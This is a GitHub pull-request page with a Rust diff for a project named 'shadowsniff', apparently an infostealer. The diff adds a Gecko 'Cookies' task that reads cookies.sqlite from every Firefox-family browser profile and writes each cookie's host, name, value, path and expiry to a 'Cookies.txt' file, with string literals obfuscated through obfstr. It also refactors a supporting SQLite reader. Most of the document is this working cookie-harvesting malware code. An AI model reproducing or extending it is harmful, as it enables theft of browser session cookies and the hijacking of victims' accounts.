Skip to content

impl(Gecko): Cookies #22

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 16 additions & 1 deletion database/src/bindings/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -84,7 +84,22 @@ impl Drop for Sqlite3BindingsReader {
impl DatabaseReader for Sqlite3BindingsReader {
type Iter = SqliteIterator;
type Record = SqliteRow;


fn from_bytes(bytes: &[u8]) -> Result<Self, i32>
where
Self: Sized
{
Sqlite3BindingsReader::new_from_bytes(bytes)
}

fn from_path(path: &Path) -> Result<Self, i32>
where
Self: Sized
{
Sqlite3BindingsReader::new_from_file(path)
}


fn read_table<S>(&self, table_name: S) -> Option<Self::Iter>
where
S: AsRef<str>
Expand Down
32 changes: 28 additions & 4 deletions database/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,14 @@ pub trait DatabaseReader {
type Iter: Iterator<Item = Self::Record>;
type Record: TableRecord;

fn from_bytes(bytes: &[u8]) -> Result<Self, i32>
where
Self: Sized;

fn from_path(path: &Path) -> Result<Self, i32>
where
Self: Sized;

fn read_table<S>(&self, table_name: S) -> Option<Self::Iter>
where
S: AsRef<str>;
Expand All @@ -85,10 +93,26 @@ pub trait TableRecord {
fn get_value(&self, key: usize) -> Option<&Value>;
}

pub fn read_sqlite3_database_by_path(path: &Path) -> Option<impl DatabaseReader> {
Sqlite3BindingsReader::new_from_file(path).ok()
pub enum Databases {
Sqlite
}

pub fn read_sqlite3_database_by_bytes(bytes: &[u8]) -> Option<impl DatabaseReader> {
Sqlite3BindingsReader::new_from_bytes(bytes).ok()
impl Databases {
pub fn read_from_path(&self, path: &Path) -> Result<impl DatabaseReader, i32> {
match self {
Databases::Sqlite => Sqlite3BindingsReader::from_path(path),
}
}

pub fn read_from_bytes(&self, bytes: &[u8]) -> Result<impl DatabaseReader, i32> {
match self {
Databases::Sqlite => Sqlite3BindingsReader::from_bytes(bytes),
}
}
}

impl AsRef<Databases> for Databases {
fn as_ref(&self) -> &Databases {
self
}
}
1 change: 0 additions & 1 deletion shadowsniff/browsers/Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

58 changes: 58 additions & 0 deletions shadowsniff/browsers/src/gecko/cookies.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
use crate::alloc::borrow::ToOwned;
use alloc::sync::Arc;
use alloc::vec::Vec;
use tasks::{parent_name, Task};
use utils::path::Path;
use crate::{collect_and_read_sqlite_from_all_profiles, to_string_and_write_all, Cookie};
use crate::gecko::GeckoBrowserData;
use obfstr::obfstr as s;
use database::TableRecord;

const MOZ_COOKIES_NAME: usize = 2;
const MOZ_COOKIES_VALUE: usize = 3;
const MOZ_COOKIES_HOST: usize = 4;
const MOZ_COOKIES_PATH: usize = 5;
const MOZ_COOKIES_EXPIRY: usize = 6;

pub(super) struct CookiesTask<'a> {
browser: Arc<GeckoBrowserData<'a>>
}

impl<'a> CookiesTask<'a> {
pub(super) fn new(browser: Arc<GeckoBrowserData<'a>>) -> Self {
Self { browser }
}
}

impl Task for CookiesTask<'_> {
parent_name!("Cookies.txt");

unsafe fn run(&self, parent: &Path) {
let Some(cookies) = collect_and_read_sqlite_from_all_profiles(
&self.browser.profiles,
|profile| profile / s!("cookies.sqlite"),
s!("moz_cookies"),
extract_cookies_from_record
) else {
return
};

let _ = to_string_and_write_all(&cookies, "\n", parent);
}
}

fn extract_cookies_from_record(record: &dyn TableRecord) -> Option<Cookie> {
let host_key = record.get_value(MOZ_COOKIES_HOST)?.as_string()?.to_owned();
let name = record.get_value(MOZ_COOKIES_NAME)?.as_string()?.to_owned();
let path = record.get_value(MOZ_COOKIES_PATH)?.as_string()?.to_owned();
let expires = record.get_value(MOZ_COOKIES_EXPIRY)?.as_integer()?.to_owned();
let value = record.get_value(MOZ_COOKIES_VALUE)?.as_string()?.to_owned();

Some(Cookie {
host_key,
name,
value,
path,
expires_utc: expires
})
}
9 changes: 7 additions & 2 deletions shadowsniff/browsers/src/gecko/mod.rs
Original file line number Diff line number Diff line change
@@ -1,9 +1,12 @@
mod cookies;

use crate::vec;
use alloc::sync::Arc;
use alloc::vec::Vec;
use core::ops::Deref;
use tasks::{composite_task, CompositeTask, Task};
use utils::path::Path;
use crate::gecko::cookies::CookiesTask;

pub struct GeckoTask<'a> {
tasks: Vec<(Arc<GeckoBrowserData<'a>>, CompositeTask)>
Expand All @@ -22,8 +25,10 @@ impl GeckoTask<'_> {
let browser = Arc::new(browser);

tasks.push((
browser,
composite_task!()
browser.clone(),
composite_task!(
CookiesTask::new(browser.clone()),
)
))
}

Expand Down
45 changes: 41 additions & 4 deletions shadowsniff/browsers/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,15 +3,14 @@
mod gecko;

extern crate alloc;
use database::{DatabaseReader, TableRecord};
use database::{DatabaseReader, Databases, TableRecord};

use crate::alloc::borrow::ToOwned;
use alloc::string::{String, ToString};

use alloc::vec;
use alloc::vec::Vec;
use core::fmt::{Display, Formatter};
use database::read_sqlite3_database_by_bytes;
use tasks::Task;
use tasks::{composite_task, impl_composite_task_runner, CompositeTask};
use utils::path::{Path, WriteToFile};
Expand All @@ -33,6 +32,42 @@ impl BrowsersTask {

impl_composite_task_runner!(BrowsersTask, "Browsers");

pub(crate) fn collect_and_read_sqlite_from_all_profiles<P, F, R, T, S>(
profiles: &[Path],
path: P,
table: S,
mapper: F
) -> Option<Vec<T>>
where
P: Fn(&Path) -> R,
R: AsRef<Path>,
F: Fn(&dyn TableRecord) -> Option<T>,
T: Ord,
S: AsRef<str>
{
collect_and_read_from_all_profiles(profiles, Databases::Sqlite, path, table, mapper)
}

pub(crate) fn collect_and_read_from_all_profiles<D, P, R, F, T, S>(
profiles: &[Path],
db_type: D,
path: P,
table: S,
mapper: F
) -> Option<Vec<T>>
where
D: AsRef<Databases>,
P: Fn(&Path) -> R,
R: AsRef<Path>,
F: Fn(&dyn TableRecord) -> Option<T>,
T: Ord,
S: AsRef<str>,
{
collect_from_all_profiles(profiles, |profile| {
read_and_map_records(&db_type, path(profile).as_ref(), table.as_ref(), &mapper)
})
}

pub(crate) fn collect_from_all_profiles<F, T>(profiles: &[Path], f: F) -> Option<Vec<T>>
where
F: Fn(&Path) -> Option<Vec<T>>,
Expand Down Expand Up @@ -66,16 +101,18 @@ where
.write_to(dst)
}

pub(crate) fn read_sqlite3_and_map_records<T, F>(
pub(crate) fn read_and_map_records<D, T, F>(
db_type: D,
path: &Path,
table_name: &str,
mapper: F,
) -> Option<Vec<T>>
where
D: AsRef<Databases>,
F: Fn(&dyn TableRecord) -> Option<T>,
{
let bytes = path.read_file().ok()?;
let db = read_sqlite3_database_by_bytes(&bytes)?;
let db = db_type.as_ref().read_from_bytes(&bytes).ok()?;
let table = db.read_table(table_name)?;

let records = table
Expand Down